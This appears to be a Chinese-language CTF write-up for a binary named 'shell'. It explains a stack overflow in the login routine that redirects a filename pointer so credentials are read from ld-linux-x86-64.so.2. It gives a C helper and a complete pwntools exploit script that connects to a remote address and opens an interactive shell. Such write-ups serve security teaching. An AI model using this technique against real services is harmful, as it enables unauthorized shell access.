shell
首先,检查一下程序的保护机制
然后,我们用IDA分析
存在栈溢出漏洞
我们先运行程序,发现可以直接输命令
然而,其他命令都不可用,需要登录成功才能用
我们看看登录的逻辑
程序从creds.txt文件中一行一行的读取,取第一个冒号后面的内容为用户名,取第二个冒号后面的内容为密码
只要我们输入的用户名和密码存在于那个文件,就登录成功,然后就能执行shell
Main函数里最外层是死循环,因此我们不能结束它,也就不能ROP
我们可以把filename指针覆盖成其他地方啊,查看一下文件中的字符串
这个可以用,我们就把filename指针指向这个字符串吧,这样,程序第二次循环就从/lib64/ld-linux-x86-64.so.2文件中读取,由于我们本地也用这个文件,我们可以找找里面的字符串有没有符合条件的
- #include <stdio.h>
- int main() {
- FILE *f = fopen("/lib64/ld-linux-x86-64.so.2","r");
- char *buf = NULL;
- size_t n;
- if (f == NULL) {
- printf("error\n");
- }
- while (getline(&buf,&n,f) != -1) {
- char* user = strtok(buf, ":");
- char* pwd = strtok(0LL, ":");
- printf("%s:%s\n",user,pwd);
- }
- fclose(f);
- return 0;
- }
我们发现,这些都可以使用
那么我们就随便选一组即可
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- sh = remote('111.198.29.45',58711)
- #sh = process('./shell')
- sh.sendline('login')
- sh.sendlineafter('Username: ','sea')
- #溢出栈覆盖filename,使得程序读取/lib64/ld-linux-x86-64.so.2文件中的内容
- payload = 'a'*0x44 + p64(0x400200)
- sh.sendlineafter('Password: ',payload)
- sh.sendlineafter('Authentication failed!','login')
- sh.sendlineafter('Username: ','relocation processing')
- sh.sendlineafter('Password: ',' %s%s')
- sh.sendlineafter('Authenticated!','sh')
- sh.interactive()